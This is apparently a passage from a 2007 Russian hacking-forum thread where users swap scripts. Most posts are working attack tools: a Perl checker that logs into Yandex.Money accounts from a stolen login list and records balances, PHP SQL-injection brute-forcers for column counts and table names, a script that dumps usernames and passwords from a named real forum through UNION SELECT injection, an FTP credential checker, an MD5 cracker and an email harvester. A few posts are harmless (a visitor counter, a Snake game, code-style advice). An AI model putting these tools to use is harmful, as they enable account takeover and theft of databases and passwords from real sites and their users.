{fwrite($fo,$high_anonymity[$i]."\n");
echo $high_anonymity[$i]."<br>";}
echo "</fieldset></td></tr></table>";
fclose($fo);
?>

Вот рабочий =)

p-range
16.01.2007, 14:50
смотри здесь
_http://p-range.info/proxy.txt

pop_korn
23.01.2007, 03:58
yandex money balance checker


#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Cookies;

######################
#writen#by#popkorn####
######################

$url['0'] = 'http://passport.yandex.ru/passport?mode=auth';
$url['1'] = 'http://money.yandex.ru/';
$proxy = '89.110.23.94:5141'; # if u don't need proxy, just set # before this line

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;

$ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.2 (build 01102))');

push @{ $ua->requests_redirectable }, 'POST';

if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
$ua->proxy('http', "http://$proxy/"); };

open(ACCS, "<accs.txt");
open(LOG, ">logs.txt");

@accs = <ACCS>; close (ACCS);

foreach (@accs){

($login, $pass) = split(':',$_);

$pass =~ s/ |\n//;


$ua->cookie_jar($cookie_jar);

$ua->post( $url['0'],
[login => $login,
passwd => $pass]);

my $response = $ua->post($url['1']);

$content = $response->content;

$sum = 'koshel\'ka net';

while( $content =~/<a href="\/history\.xml" class="in">В Кошельке<\/a><br><span class="sum"><nobr>(\d+,\d+)/g){$sum = $1};

print LOG "$login:$pass:$sum\n";
print "$login:$pass:$sum\n";
$sum = '0 =(';

$cookie_jar->clear_temporary_cookies;

}

close (LOG);

nc.STRIEM
25.01.2007, 00:14
скрипт отображает количество людей просматривающих страницу:

<?
$timelim=20; ///лимит времени в секундах допустимого бездействия пользоваеля
session_id("hfJKcbJssJ");
session_start();
$f=1;
if(!isset($_SESSION['kolvo']))
$_SESSION['kolvo']=0;
if($_SESSION['kolvo']>0)
{
for($i=0;$i<$_SESSION['kolvo'];$i++)
if($_SESSION['users']['ip'][$i]==$_SERVER['REMOTE_ADDR'])
{
$_SESSION['users']['date'][$i]=date('U');
$f=0;
break;
}

if($_SESSION['kolvo']>0)
for($i=0;$i<$_SESSION['kolvo'];$i++)
if(date('U')-$_SESSION['users']['date'][$i]>$timelim)
{ for($j=$i;$j<$_SESSION['kolvo']-1;$j++)
{
$_SESSION['users']['date'][$j]=$_SESSION['users']['date'][$j+1];
$_SESSION['users']['ip'][$j]=$_SESSION['users']['ip'][$j+1];
}
$_SESSION['kolvo']--;
}
}
if($f)
{
$_SESSION['users']['ip'][$_SESSION['kolvo']]=$_SERVER['REMOTE_ADDR'];
$_SESSION['users']['date'][$_SESSION['kolvo']]=date('U');
$_SESSION['kolvo']++;
}
echo "Рыл на странице: ".$_SESSION['kolvo'];
?>

cRiLaZ
25.01.2007, 20:49
Мой скрипт который подбирает количество колонок в скуле:


<?
###################################### if(is_good_boy($nick)){
###################################### echo <<<GreetZ
########### GraBBerz TeaM ############ - лАмАрЕз
########## www.grabberz.com ########## - @стериX
######## (c)оудед бай cRiLaZ ######### - Д'кей
###################################### - КоТ777
#### Брут колонок к СКЛ-инжектион #### - РиДЖи
######### criSQLcolumnsPicler ######## - сиаттак
#### 09.01.2007 #### - Сато и другим...
###################################### GreetZ;
###################################### }
set_time_limit(0);
error_reporting(0);
?>
<html>
<head><title>criScB</title>
<style>
table, td {
border : 1px dashed #444444;
background-color : #000000;
font : 12px courier new;
color : #888888;
}
input {
background-color: #000000;
font:8pt verdana;
text-align:center;
color:#cccccc;
}
</style>
</head>

<body text=00ff00 bgcolor=000000>
<form method='post' action="<?echo $PHP_SELF;?>">
<br><br><br>
<table border='0' cellspacing='0' cellpadding='2' align='center' width='360'>
<tr><td colspan='2' align='center' style="background-color: #cccccc; font-size: 18px; color: white; font-family: tahoma; padding-left: 5px; color:#000000;">
<b>SQL columns Picker</b></td></tr>
<tr><td align='center' colspan='2'>
by <font color='ff0000'>cRiLaZ</font> for <font color='ff0000'>GraBBerZ TeaM</font>
</td>
</tr>

<tr><td width='15%' align='center'><b>Запрос</b></td>
<td width='50%' align='right'><input name='man_zapros' type='text' value="<?if($_post['man_zapros']){echo $man_zapros;}else{echo 'http://crilaz.net.ru/ind.php?fuck=-1+union+select+|cols|/*';}?>" size=40%>
</td>
<tr>
<td rowspan=2 align=center>
<b>Текст</b>
</td>
<td align=right>
<input type='radio'checked name='text_tipe' value='error'>
<input type='text' size='36' value='Ошибки' name='error_text'>
</td>
</tr>
<tr>
<td align=right>
<input type='radio' name='text_tipe' value='good'>
<input type='text' size='36' value='Нужный' name='good_text'>
</td>
</tr>

<tr><td width='15%' align='center'><b>Колонки</b></td>
<td width='50%' align='right'><input name='columns' type='text' value="<?if($_post['columns']){echo $columns;}else{echo '50';}?>" size='40%'>
</td></tr>

<tr>
<td colspan='2' align='right'>
<input type='submit' value=' Подобрать... ' name='gogogogo'>
</td>
</tr>
</table>
</form><br><br>
<?
if($_POST["gogogogo"]){
$man_zapros = htmlspecialchars($_POST['man_zapros']);
$arr_url = parse_url($_POST['man_zapros']);
$host = $arr_url['host'];
$columns = $_POST['columns'];
if((int)$columns>250){echo "<script>alert('Колонок не может быть больше 250!');</script>";}
if($_POST['text_tipe']=="error"){
$need_text=$error_text;}
else{
$need_text=$good_text;}
$col_num = "";
$content = "";

for($q=1;$q<=$columns;$q++){
$bad_col_num.=$q.",";
$good_col_num=substr($bad_col_num,0,(count($col_nu m)-2));

$request=str_replace("|cols|",$good_col_num,$man_zapros);
$zapros="GET $request HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
$soket=fsockopen("www.".$host, 80, $errno, $errstr, 10) or die ("$errstr ($errno)");
fwrite($soket, $zapros);
while(!feof($soket)){
$content.=fgets($soket);}
//@$hell_words=eregi($need_text, $content);
if(($_POST['text_tipe']=="error" && !eregi($need_text,$content) || ($_POST['text_tipe']=="good" && eregi($need_text,$content)))){
echo "<br><font color='00ff00'>$request</font>";}
else{
echo "<br><font color='ff0000'>$request</font>";}
$content="";
$request="";
}
}
?>


А этот аналогично бодбирает названия таблиц или колонок, чего захотите вобщем


<?
###################################### гРит3ы: if(is_good_boy($nick)){
###################################### echo <<<freind
########### GraBBerz TeaM ############ - лАмАрЕз
########## www.grabberz.com ########## - @стериX
######## (c)оудед бай cRiLaZ ######### - Д'кей
###################################### - КоТ777
## Брут имен к колонкам и таблицам ### - РиДЖи
########## criSQLtableBruter ######### - сиаттак
############# 14.01.2007 ############# - Сато и другим
###################################### freind;
###################################### }
set_time_limit(0);
error_reporting(0);
?>
<html>
<head><title>criStB</title>
<style>
table, td {
border : 1px dashed #444444;
background-color : #000000;
font : 12px courier new;
color : #888888;
}
input {
background-color: #000000;
font:8pt verdana;
text-align:center;
color:#cccccc;
}
</style>
</head>

<body text=00ff00 bgcolor=000000>
<form method='post' action="<?echo $PHP_SELF;?>">
<br><br><br>
<table border='0' cellspacing='0' cellpadding='2' align='center' width='360'>
<tr><td colspan='2' align='center' style="background-color: #cccccc; font-size: 18px; color: white; font-family: tahoma; padding-left: 5px; color:#000000;">
<b>SQL tables Bruter</b></td></tr>
<tr><td align='center' colspan='2'>
by <font color='ff0000'>cRiLaZ</font> for <font color='ff0000'>GraBBerZ TeaM</font>
</td>
</tr>

<tr><td width='15%' align='center'><b>Запрос</b></td>
<td width='50%' align='right'><input name='man_zapros' type='text' value="http://crilaz.net.ru/ind.php?fuck=-1+union+select+1,2+from+|word|/*" size=40%>
</td>
<tr>
<td rowspan=2 align=center>
<b>Текст</b>
</td>
<td align=right>
<input type='radio'checked name='text_tipe' value='error'>
<input type='text' size='36' value='Ошибки' name='error_text'>
</td>
</tr>
<tr>
<td align=right>
<input type='radio' name='text_tipe' value='good'>
<input type='text' size='36' value='Нужный' name='good_text'>
</td>
</tr>

<tr><td width='15%' align='center'><b>Словарь</b></td>
<td width='50%' align='right'><input name='slovar' type='text' value='slovar.txt' size='40%'>
</td></tr>

<tr>
<td colspan='2' align='right'>
<input type='submit' value=' Подобрать... ' name='gogogogo'>
</td>
</tr>
</table>
</form>
<?
if($_POST["gogogogo"]){
$man_zapros = htmlspecialchars($_POST['man_zapros']);
$arr_url = parse_url($_POST['man_zapros']);
$host = $arr_url['host'];
$brute_file = $_POST['slovar'];
if($_POST['text_tipe']=="error"){
$need_text=$error_text;}
else{
$need_text=$good_text;}
$content = "";
$brute_arr=file("$brute_file") or die ("Невозможно открыть файл со словарем!");
foreach($brute_arr as $value){
$request=str_replace("|word|",$value,$man_zapros);
$zapros="GET $request HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
$soket=fsockopen("www.".$host, 80, $errno, $errstr, 10) or die ("$errstr ($errno)");
fwrite($soket, $zapros);
while(!feof($soket)){
$content.=fgets($soket);}
if(($_POST['text_tipe']=="error" && !eregi($need_text,$content) || ($_POST['text_tipe']=="good" && eregi($need_text,$content)))){
echo "<br><font color='00ff00'>$request</font>";}
else{
echo "<br><font color='ff0000'>$request</font>";}
$content="";
$request="";
}
}
?>


(многие вещи не проверял, т.к. не люблю писать всякую чушь)
Пример работы можно посмотреть сдесь:
http://crilaz.grabberz.com/tools/SQL/criScP.php - колонки
http://crilaz.grabberz.com/tools/SQL/criStB.php - таблицы

NOmeR1
08.02.2007, 12:35
Генерация пароля
<?php
print "<body BGcolor=Black TEXT=White>";
print "<form action=$PHP_SELF method=post>\nСимволов: <INPUT NAME=\"lenght[]\"><br>";
print "</select>\n<br><input type=submit value=Сгенерировать>\n<br>";
print "</form>";


$symb = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVB NM1234567890!@#$%^&*()_+#№-=<>`";
$count = strlen($symb)-1;
if(empty($lenght)) {exit();}
else
{
foreach ($lenght as $digit)
print "<b>Ваш пароль:</b><br>";
for($i=0; $i <= ($digit-1); $i++)
{
$rand = rand(0, $count);
print "<font face=verdana size=2 color=lime>$symb[$rand]";
}
print "</font><HR width=100%>";
}
?>

Digimortal
10.02.2007, 01:09
Очень нужный и полезный каждому хэкиру скрипт =) :
#!/usr/bin/perl
use strict;
use Tk;
use Data::Dumper;

my $mw = MainWindow->new(-title=>"Super Nibbles!");

my $score = 0;
my $start = time;

my $score_board = $mw->Label()->pack();
$score_board->configure(-text => "Score: $score");
my $board = $mw->Canvas(-width => 600, -height => 400)->pack();
$mw->bind("<Left>" , sub { set_direction(0) });
$mw->bind("<Right>", sub { set_direction(1) });
$mw->bind("<Up>" , sub { set_direction(2) });
$mw->bind("<Down>" , sub { set_direction(3) });


Tk::After->new($mw,150,'repeat', sub { move() } );

$board->createGrid(0,0,10,10 );

my $moves = [ [-1, 0], [ 1, 0], [ 0,-1], [ 0, 1] ];
my $food = [ ];
my $food_size = [1,1,1,1,1,3,5];
my $food_color = {
1 => 'green',
3 => 'yellow',
5 => 'purple' };



place_food() for (1..5);

my $snake = {
direction => 0,
blocks =>[ [10,5], [11,5], [12,5] ],
food => 0,
};

sub update_score_board {
$score_board->configure(-text => "Score: $score Time: " . (time - $start));
}

sub set_direction {
my $dir = shift;
my $cur = $snake->{direction};
move() if ($dir == $cur);
unless ( ($cur == 1 and $dir == 0) or
($cur == 0 and $dir == 1) or
($cur == 2 and $dir == 3) or
($cur == 3 and $dir == 2) ) {
$snake->{new_direction} = $dir ;
}
}

sub in_bounds {
my ($x,$y) = @_;
return 1 if ($x >= 0 and $x <= 59 and $y >= 0 and $y <= 39);
return 0;
}


sub hit_food {
my ($x,$y) = @_;
for my $block (@$food) {
if ($x == $block->[0] and $y == $block->[1]) {
my $hits = $block->[2];
$block = undef;
$food = [ grep { defined $_ } @$food ];
return $hits;
}
}
return 0;
}

sub hit_snake {
my ($x,$y) = @_;
for my $block (@{$snake->{blocks}}) {
if ($x == $block->[0] and $y == $block->[1]) {
return 1;
}
}
return 0;
}

sub place_food {
my $x = undef;
my $y;
while ( !defined $x or
!in_bounds($x,$y) or
hit_food($x,$y) or
hit_snake($x, $y) )
{
$x = int(rand 60);
$y = int(rand 40);
}
push @$food, [$x,$y, $food_size->[int(rand @$food_size)]];
}

sub move {
if (exists $snake->{new_direction}) {
$snake->{direction} = $snake->{new_direction};
delete $snake->{new_direction};
}
my ($xc,$yc) = @{$moves->[ $snake->{direction} ] };
my $last_pos = $snake->{blocks}->[0];
my $new_pos =[$last_pos->[0] + $xc, $last_pos->[1] + $yc];
if (in_bounds( @$new_pos ) && !hit_snake(@$new_pos) ) {
unshift @{$snake->{blocks}}, $new_pos;
my $hits = hit_food(@$new_pos);
if ($hits) {
warn "Place new food ($hits)";
place_food();
show_food();
$snake->{food} += $hits;
$score += $hits;
}

if ($snake->{food} > 0) {
$snake->{food}--;
} else {
pop @{$snake->{blocks}};
}
show_snake();
} else {
$mw->destroy;
die "You died";
}
update_score_board();
}



sub show_snake {
$board->delete('snake');
for my $block (@{$snake->{blocks}}) {
block($board, $block->[0], $block->[1], 'red', 'snake');
}
}

sub show_food {
$board->delete('food');
for my $block ( @$food ) {
block($board, $block->[0], $block->[1], $food_color->{$block->[2]}, 'food');
}
}

show_snake();
show_food();


MainLoop;

sub block {
my ($canvas,$x,$y,$color, $tag) = @_;
$color ||= 'red';
$canvas->createRectangle($x*10,$y*10,($x+1) * 10, ($y + 1) *10, -fill=> $color, -tags => [$tag]);
}

cRiLaZ
16.02.2007, 00:27
надоели те, кто просит вытащить базу? Посылай их на... , тьфу ты :) сюда то есть.
Снабдил обильным количеством коментов, так что не надо стучать и просить переделать для Вас, лучше почитайте книжечку, это полезнее.

<?
/*************************************************
* 15.02.2007 22:00-23:12 *
* супер пупер скрипт для вытаскивания баз *
* *
* *
* (c)одед бай cRiLaZ *
* (GraBBerZ TeaM) *
* *
* Приват в МИР!!!!!!!!! *
* протева закрытых сорцов ;) *
************************************************/
/*конфиг*/
$host="forum.tomsk.ru"; #хост
$how_much=4; # скока раз повторять цикл
/*функция, пишущая в файл sql.txt*/
function input_into($text)
{
$a_file=fopen("./sql.txt","a+");
fputs($a_file,"$text");
fclose($a_file);
}
/*собсно цикл*/
for($q=1;$q<=$how_much;$q++)
{
/*сдесь все, что после хоста*/
$string_query="forum.php?a=24&user_id=-1+UNION+SELECT+1,CONCAT(CHAR(45,45,45),user_name,C HAR(45,45),user_pass,CHAR(45,45,45)),null,null,nul l,null,null,null,null,null+FROM+forum_user+WHERE+i d=$q/* HTTP/1.0\n\n";
/*формируем запрос к серву, в разных скулях тут по разному нада поставить*/
$request ="GET http://".$host."/".$string_query." HTTP/1.1\n";
$request.="Host: ".$host."\n";
$request.="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
$request.="Connection: keep-alive\n";
/*открываем сокет*/
$soket=fsockopen($host,80,$errno,$errstr,13); #13 )))
fwrite($soket,$request); #пишем в сокет
while(!feof($soket)){ #
$content.=fgets($soket);}#читаем
fclose($soket); #закрываем
/*регулярка*/
ereg("(---(.*)---)",$content,$infa);
/*пишем в файл результаты*/
input_into("$q)".$infa[0]."\n");
/*обнуляем все, ваще то нада тока контент, но мы же примерные*/
$content="";
$params="";
$request="";
}

/*************************************************
* а это для тех, кто в доспехах ;)
* в общем регулярка думаю все понятно
* "---" - это начало и конец строки,
* "(.*)" - это любые значения.
* Т.е. в массив будет попадать все следующего вида
* "---login:pwd:mail---", если канешна в пассе, логине и т.д. нету "---".
* Ну наверно все, скуль для испытаний я взял у [sql].
* Просьба нащет орфографии не че не писать!!!
* Пешу так спициальна по своим соображениям! ;)
************************************************/
?>

Trinux
16.02.2007, 14:08
2 cRiLaZ
Одинарная ковычка быстрее обрабатывается интерпритатором, ибо php не ищет в ней перменных, как это он делает с двойной ковычкой. Пример:
<?$text=1;echo "123 $text";?> // вывод '123 1'
<?$text=1;echo '123 $text';?> // вывод '123 $text'
да и потом сама запись "$text" это очень даже весело. Имя переменной, конечно, никак не указывает на ее значение, и даже не намекает что внутри текст, поэтому нужно прибавить гемору интерпритатору.

Я не ругаюсь и не смеюсь =) я просто хочу чтобы в этом раздлеле на античате люди грамотно писали код, вот и все...

Насчет ./ - действительно я придрался, но это лишние 2 символа в коде. А если не собираешься читать файл или передумал, зачем ставить флаг на чтение и блокировать его?

Насчет обнуления переменной =)))) 2 разные вещи, выкинуть переменную из памяти и забыть о ней, либо продолжать держать в памяти пустое значение =)

И насчет "стиль у мя такой", это не стиль, пока это мусор. Приходишь к другу, а у него шкаф по среди комнаты и раковина с кухни проведена в прихожую, он заявляет что у него такой стиль.

TANZWUT
16.02.2007, 17:53
MD5CRACK - MD5 Bruteforce Tool

#!/usr/bin/perl
# use strict; Sorry next time i'll use it ;)
# MD5 Hash Bruteforce Kit
# by Iman Karim (iman.karim@smail.inf.fh-bonn-rhein-sieg.de)
# URL : http://home.inf.fh-rhein-sieg.de/~ikarim2s/
# Date : 11.02.2007
# Info[0] : This Cracker is by far not the fastest! But it helped me alot to find "lost" passwords ;)
# Info[1] : Written under Kubuntu Linux (Throw away Windows!)
# Info[2] : If you can code a bit perl, you can modify it to crack sha etc too...
# Greets to: Invisible!
$ver = "01";
$dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.

if ($dbgtmr<=0){ die "Set dbgtmr to a value >=1 !\n";};
use Digest::MD5 qw(md5_hex);
use Time::HiRes qw(gettimeofday);

if ($ARGV[0]=~"a") {
$alpha = "abcdefghijklmnopqrstuvwxyz";}
if ($ARGV[0]=~"A") {
$alpha = $alpha. "ABCDEFGHIJKLMNOPQRSTUVWXYZ";}
if ($ARGV[0]=~"d") {
$alpha = $alpha."1234567890";}
if ($ARGV[0]=~"x") {
$alpha = $alpha. "!\"\$%&/()=?-.:\\*'-_:.;,";}

if ($alpha eq "" or $ARGV[3] eq "") {usage();};
if (length($ARGV[3]) != 32) { die "Sorry but it seems that the MD5 is not valid!\n";};

print "Selected charset for attack: '$alpha\'\n";
print "Going to Crack '$ARGV[3]'...\n";

for (my $t=$ARGV[1];$t<=$ARGV[2];$t++){
crack ($t);
}

sub usage{
print "\n\nMD5 Hash Bruteforce Kit v_$ver\n";
print "by Iman Karim (iman.karim\@smail.inf.fh-bonn-rhein-sieg.de)\n";
print "http:\/\/home.inf.fh-rhein-sieg.de\/~ikarim2s\/\n\n";
print "USAGE\n";
print "./md5crack <charset> <mincount> <maxcount> <yourMD5>\n";
print " Charset can be: [aAdx]\n";
print " a = {'a','b','c',...}\n";
print " A = {'A','B','C',...}\n";
print " d = {'1','2','3',...}\n";
print " x = {'!','\"',' ',...}\n";
print "EXAMPLE FOR CRACKING A MD5 HASH\n";
print "./md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with all lowercase Alphas and all digits.\n";
print " MD5 Kit only tries combinations with a length from 1 and 3 characters.\n-------\n";
print "./md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with all lowercase Alphas and all uppercase Alphas.\n";
print " MD5 Kit only tries passwords which length is exactly 3 characters.\n-------\n";
print "./md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with nearly every character.\n";
print " MD5 Kit only tries combinations with a length from 1 to 10 characters.\n";
die "Quitting...\n";
}

sub crack{
$CharSet = shift;
@RawString = ();
for (my $i =0;$i<$CharSet;$i++){ $RawString[i] = 0;}
$Start = gettimeofday();
do{
for (my $i =0;$i<$CharSet;$i++){
if ($RawString[$i] > length($alpha)-1){
if ($i==$CharSet-1){
print "Bruteforcing done with $CharSet Chars. No Results.\n";
$cnt=0;
return false;
}
$RawString[$i+1]++;
$RawString[$i]=0;
}
}
################################################## #
$ret = "";
for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
$hash = md5_hex($ret);
$cnt++;
$Stop = gettimeofday();
if ($Stop-$Start>$dbgtmr){
$cnt = int($cnt/$dbgtmr);
print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
$cnt=0;
$Start = gettimeofday();
}
print "$ARGV[3] != $hash ($ret)\n";
if ($ARGV[3] eq $hash){
die "\n**** Password Cracked! => $ret\n";
}
################################################## #
#checkhash($CharSet)."\n";

$RawString[0]++;
}while($RawString[$CharSet-1]<length($alpha));
}

sub checkhash{
$CharSet = shift;
$ret = "";
for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
$hash = md5_hex($ret);
$cnt++;
$Stop = gettimeofday();
if ($Stop-$Start>$dbgtmr){
$cnt = int($cnt/$dbgtmr);
print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
$cnt=0;
$Start = gettimeofday();
}

if ($ARGV[3] eq $hash){
die "\n**** Password Cracked! => $ret\n";
}

}

Abra
16.02.2007, 22:51
удобная универсальная функция для работы с сокетами.

function httpSocketConnection($host, $method, $path, $data)
{
$method = strtoupper($method);

if ($method == "GET")
{
$path.= '?'.$data;
}

$filePointer = @fsockopen($host, 80, $errorNumber, $errorString);

if (!$filePointer)
{
exit('Failed opening http socket connection: '.$errorString.' ('.$errorNumber.')<br/>\n');
return false;
}

$requestHeader = $method." ".$path." HTTP/1.1\r\n";
$requestHeader.= "Host: ".$host."\r\n";
$requestHeader.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
$requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";

if ($method == "POST")
{
$requestHeader.= "Content-Length: ".strlen($data)."\r\n";
}

$requestHeader.= "Connection: close\r\n\r\n";

if ($method == "POST")
{
$requestHeader.= $data;
}

fwrite($filePointer, $requestHeader);

$responseHeader = '';
$responseContent = '';

do
{
$responseHeader.= fread($filePointer, 1);
}
while (!preg_match('/\\r\\n\\r\\n$/', $responseHeader));


if (!strstr($responseHeader, "Transfer-Encoding: chunked"))
{
while (!feof($filePointer))
{
$responseContent.= fgets($filePointer, 128);
}
}
else
{

while ($chunk_length = hexdec(fgets($filePointer)))
{
$responseContentChunk = '';

//logEventToTextFile('debug', $chunk_length);
$read_length = 0;

while ($read_length < $chunk_length)
{
$responseContentChunk .= fread($filePointer, $chunk_length - $read_length);
$read_length = strlen($responseContentChunk);
}

$responseContent.= $responseContentChunk;

fgets($filePointer);

}

}

//logEventToTextFile('debug', $responseContent);


return chop($responseContent);
}
пример использования:

$data="var1=test&var2=test2";
$host = "www.somesite.com";
$path = "http://www.somesite.com/test.php";
$method = "POST";

echo httpSocketConnection($host, $method, $path, $data);

Termin@L
18.02.2007, 16:25
наверное здесь уже выкладывали скрипт для выдирания мэл, этот может (вроде как) вычленить из любого набора текста мэла
P.S. Ногами не бейте, я начинающий, очень хотелось чем-нибудь поделиться, может кому пригодиться
P.P.S В данный момент пытаюсь тоже самое сделать но через сокеты, как-то не особо получается, но если кому интересно + просто не влом помочь пишите в личку

<?php
$to=array('>','<','/','"','\'','='. ',','.');
$fnl=array();
$result=array();
/*считываем файл*/
$fin=fopen('input.txt','r');
while(!feof($fin)){
$result[]=fgets($fin);
}
fclose($fin);
/*т.к нас интересует отдельные слова то разбиваем весь файл на один массив
со значениями - словами*/
$result=implode(' ',$result);
$result=str_replace($to,' ',$result);/*очищаем от ненужных символов*/
$result=explode(' ',$result);
for($i=0;$i<sizeof($result);$i++)
{
$str=$result[$i];
$tst=strpos($str,'@');/*находим слова с нужным символом*/
if(!empty($tst)){
if($str[0]=='/')
$str[0]=' ';
$fnl[]=trim($str);
}
unset($tst);
}
$fout=fopen('output.txt','w');
for($i=0;$i<sizeof($fnl);$i++) /*вывод*/
{
fputs($fout,$fnl[$i]."\r\n");
}
fclose($fout);
?>

GreenBear
19.02.2007, 16:56
ftp checker

<?php
/*
* FTP Checker By Green Bear
* Version 1.0
* Home page: http://netsec.ru/gb/
@---------------------------@
good_ftp = хорошие фтп аккуанты
bad_ftp = плохие фтп аккуанты
@---------------------------@
#используйте формат user:pass@somehost.com

*/


//Тайм оут
//не стоит ставить больше 15 секунд
$timeout = '15';

$good = '0';
$bad = '0';


error_reporting(0);
ignore_user_abort(1);

if( ! function_exists('ftp_login') OR ! function_exists('ftp_connect')){
die('Function ftp_login or/and ftp_connect not exists');
}


if(! file_exists('good_ftp') ){
$f = fopen('good_ftp', 'w');
fwrite($f, '');
fclose($f);
}

if(! file_exists('bad_ftp') ){
$f = fopen('bad_ftp', 'w');
fwrite($f, '');
fclose($f);
}


switch($_POST['do']){
case 'check_now' :
if($_POST['ftp_acc']){
$array = explode("\n", $_POST['ftp_acc']);
check_ftp($array);
}else{
echo print_header();
echo '<div class=t>Не задано аккуантов</div>';
echo print_footer();
}
break;

case 'show_good':
show_good();
break;

case 'show_bad':
show_bad();
break;

case 'clear_good':
clear_good();
break;

case 'clear_bad':
clear_bad();
break;

default : print_form();
break;
}





//
//functions
//

function check_ftp($array){
global $timeout, $good, $bad;
foreach($array as $a){
$l_h = explode('@', $a);
$l_p = explode(':', $l_h[0]);
$host = $l_h[1];
$login = $l_p[0];
$pass = $l_p[1];

$ftp = ftp_connect(trim($host), '21', $timeout);


if( $ftp){
$ftp_login = ftp_login($ftp, $login, $pass);

if($ftp_login){
write_ftp('good_ftp', $host, $login, $pass);
$good ;
}else{
$bad ;
}
ftp_close($ftp);
unset($host, $pass, $login, $l_p, $l_h);
}else{
write_ftp('bad_ftp', $host, $login, $pass);
$bad ;
}
}

echo print_header();
echo "<div class='t'>
<b>Аккуанты проверены</b>. <br />
Хороших: $good <br />
Плохих: $bad <br />
<form action='$_SERVER[PHP_SELF]' method='post' name='s'><input type='hidden' name='do' value='show_good' /></form>
<a href='javascript://' onClick='s.submit();'>Показать хорошие</a>
";
echo print_footer();

}

function write_ftp($file, $host, $login, $pass){
$f = fopen($file, 'a');
fwrite($f, $login.':'.$pass.'@'.$host."\n");
fclose($f);
}

function show_good(){
$i= '0';
echo print_header();
$file = file('good_ftp');
foreach($file as $f){
$i ;
if( strstr(($i/2), '.') ){
echo "<div class='row1'><b><a href='ftp://$f' target='_blank'>$f</a></b></div>";
}else{
echo "<div class='row2'><b><a href='ftp://$f' target='_blank'>$f</a></b></div>";
}
}
echo print_footer();
}

function show_bad(){
echo print_header();
$file = file('bad_ftp');
foreach($file as $f){
$i ;
if( strstr(($i/2), '.') ){
echo "<div class='row1'><b>$f</b></div>";
}else{
echo "<div class='row2'><b>$f</b></div>";
}
}
echo print_footer();
}

function clear_good(){
echo print_header();
$f = fopen('good_ftp', 'w');
fwrite($f, '');
fclose($f);
echo '<div class=t>Список очищен</div';
echo print_footer();
}

function clear_bad(){
echo print_header();
$f = fopen('bad_ftp', 'w');
fwrite($f, '');
fclose($f);
echo '<div class=t>Список очищен</div';
echo print_footer();
}

function print_form(){
echo print_header();
echo <<<HTML
<form action="$_SERVER[PHP_SELF]" method="post" name='g'>
<input type='hidden' name='do' value='show_good' />
</form>
<form action="$_SERVER[PHP_SELF]" method="post" name='b'>
<input type='hidden' name='do' value='show_bad' />
</form>
<form action="$_SERVER[PHP_SELF]" method="post" name='eg'>
<input type='hidden' name='do' value='clear_good' />
</form>
<form action="$_SERVER[PHP_SELF]" method="post" name='eb'>
<input type='hidden' name='do' value='clear_bad' />
</form>
<a href='javascript://' onClick='g.submit();'>Показать хорошие</a> <a href="javascript://" onClick="eg.submit()" title="Очистить список" style="color:red">(clear)</a> /
<a href='javascript://' onClick='b.submit();'>Показать плохие</a> <a href="javascript://" onClick="eb.submit()" title="Очистить список" style="color:red">(clear)</a>

<hr size=1>
<form action="$_SERVER[PHP_SELF]" method="post">
<input type='hidden' name='do' value='check_now' />
<br />
<textarea cols='50' rows='7' name='ftp_acc'></textarea>
<br />
<input type='submit' value='Проверить FTP' />
</form>
<hr size=1>
HTML;
echo print_footer();
}

function print_header(){

return <<<HTML
<html><head>
<style type='text/css'>
body{
color: #C6C6FF;
background-color: #262626;
font-size:12px;
font-family: Verdana, Tahoma;
margin: 25px;
}
form{
margin: 0px;
}
div{
margin-top:2px;
margin-bottom:2px;
}
a{
color: #9494FF;
text-decoration: none;
}
a hover{
text-decoration: underline;
}
.title{
font-size: 16px;
font-family: Verdana, Tahoma;
padding: 5px;
color:white;
font-weight: bold;
text-align:center;
background-color: #1C1C1C;
}
.copy{
text-align:right;
padding-right: 10px;

}
.copy a{
text-decoration: none;
color: white;
}
.t{
margin: 5px;
font-size: 11px;
background-color: #303030;
}
.row1{
background-color: #4E4E4E;

}
.row2{
background-color: #262626;
}
textarea, input{
border: 0;
background-color: #DADAFF;
color: black;
font-size: 11px;
border: none;
}
</style>
</head>
<body>
<div class='title' onClick="location.href='{$_SERVER['PHP_SELF']}'">FTP CHECKER</div>
HTML;
}

function print_footer(){

return <<<HTML
<div class='copy'>
Powered by <a href='http://netsec.ru/gb/'>Green Bear</a> , Version 1.0
</div>
</body>
</html>



HTML;
}




?>

DIAgen
21.02.2007, 10:58
Вот парочка примеров

1) ftp чекер
http://rapidshare.com/files/17503070/ftp.rar.html
Правда не хватает много поточности и написан на скорую руку!

2) Сканер портов
http://rapidshare.com/files/17503197/port.rar.html
Такая же проблема как и в первом случаии(((

Ch3ck
21.02.2007, 23:55
Вообщем, интересная штука сегодня писалась... но получилось, не то, что хотелось... ))))))
Ситуация в двух словах:
Взять результаты поиска с domainsdb, отпарсить из исходника страницы найденные по вашему запросу линки, и проверить, если там php скрипт (index.php :)))))))))))
<?php
// Вообщем-с, открываем исходник страницы с полученными ссылками...
//сохраняем в file.txt и поехали...
error_reporting(0);
set_time_limit(0);
$links=fopen('filens.txt','w');
$text = file_get_contents('file.txt');
